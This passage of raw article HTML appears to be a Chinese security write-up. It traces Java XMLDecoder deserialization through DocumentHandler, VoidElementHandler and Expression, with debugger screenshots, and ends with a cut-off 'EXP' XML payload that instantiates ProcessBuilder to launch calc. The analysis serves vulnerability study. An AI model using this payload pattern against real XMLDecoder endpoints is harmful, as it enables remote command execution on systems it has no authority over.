none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">进入DocumentHandle跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.45257452574525747" data-w="1107" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7d00c852&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmwNR0nEicvc6GUo6K5mDdyz6gU09yY6690EQBUjwFrB0W4P3zDcEMrrg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">关键方法addArgument,该方法将标签内的值设置到StringElementHandler的value属性,紧接着在endElement方法中该值被设置到parent(VoidElementHandler)的Argument中，下断点继续跟进</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.32469402447804174" data-w="1389" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=09a58d1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmXdv5Kt6c98Z20oDpia1JWiaGTaAVfX4xwb9Jf9dOYpmoKAibXycPC9RNw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">跟进至所有赋值操作完成，将当前handler指向parent handler，EndElement方法结束<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.25644699140401145" data-w="1396" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9f1660d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm6gz7ZnknJ05oMEFbVGLJx0RwW9TEdxibJdTQCLrMRTnCjHwMBLg8sGg%2F640%3Fwx_fmt%3Dpng"/><br/><span style="box-sizing: border-box;"></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">handler指向其父类VoidElementHandler，由于没有重写getValueObject,调用NewElementhandler的getValueObject</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.1777535441657579" data-w="917" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bb730451&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm1HxPwoPoTyJKNV1kExrRfdZQ2icNemLCLgXb8u0WIERMIyARu1u6oSw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">持续跟进一段可以发现</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.3234714003944773" data-w="1014" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bd599a3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmDOP1Fs9Bgze8AeF7dXr2ibnflcfKIQ4hnVGdu5Hhnc4orsIiaD4VWjSg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">到这便完成了一段参数的解析, 关键类Expression，下断点</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.3952702702702703" data-w="1480" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f5578c3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmcLlZeyyVeAiaCdos10Ricek1GQD2X1icn5ayUOcSVuUxrNPbQSOHWEIQg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">成功设置参数</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.22192691029900333" data-w="1505" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=adefcb90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm83lVGpvq9rBaUI9qYLEklMvocs7uaNamibX3lIXgSbzGfkiaqwtia3lxw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">到这里设置的解析成功的数据为</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="xml"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">array</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">class</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;java.lang.String&#34;</span><span style="box-sizing: border-box;color: rgb(0, 0, 204);">length</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;1&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">index</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;0&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">string</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span>calc<span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">string</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">void</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;/</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">array</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">再次步进入循环点，进入下次参数设置</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.41461836998706336" data-w="1546" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d042cfa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmiaSXhDMH2CZGcdQVpibv7R90OJl1uI9c27PahPPqgUInQxngKoBcJzLQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">成功设置方法start，全部方法解析，点击步过，成功触发命令执行</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.4228882833787466" data-w="1835" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=703bb230&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmCuaJIyfQia3Zv2QjIb4ooEQib3qcia82u0Q6mC5MjTGebNaG2V9u3Zemw%2F640%3Fwx_fmt%3Dpng"/><br/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">反序列化利用源Expression</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">例子</span></strong></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.40607734806629836" data-w="1086" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=417fa56d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmEgicJLib7JGZxwIFcEiaXonFjxicVwWsnjQwlxhU5GwR4mIQsKXbva8CmA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">运行结果</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.5973509933774834" data-w="1510" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6ecff38d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnm3tKch8dKibphJGiaw6Hgh6zA5iadmcs5EVyia137ibXS4uaN1MYPo8j5ZMg%2F640%3Fwx_fmt%3Dpng"/></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="java"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//语法</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Expression</span>((<span style="box-sizing: border-box;color: rgb(0, 136, 85);">Object</span>)<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Class</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">METHOD</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">ARG</span>...).<span style="box-sizing: border-box;color: rgb(0, 0, 0);">execute</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">getValue</span>();</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">自定义对象测试</span></strong></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.5136986301369864" data-w="1168" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c619ee0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxx1B5QHjyejzLGITdsPXGnmrCEhYXxumd4OxyTpc4SOxN59ia8lJN4EibHNz3zgYNx0PJgmmqRFMYQA%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">我自己环境跑不出来，按道理这是能跑的</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">附件: EXP</span></h2><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="xml"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">&lt;?xml</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">java</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">version</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;1.8.0_202&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">class</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;java.beans.XMLDecoder&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">object</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">class</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;java.lang.ProcessBuilder&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">array</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">class</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;java.lang.String&#34;</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">length</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;1&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(17, 119, 0);">&lt;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">index</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;0&#34;</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);">&gt;&lt;</span><span 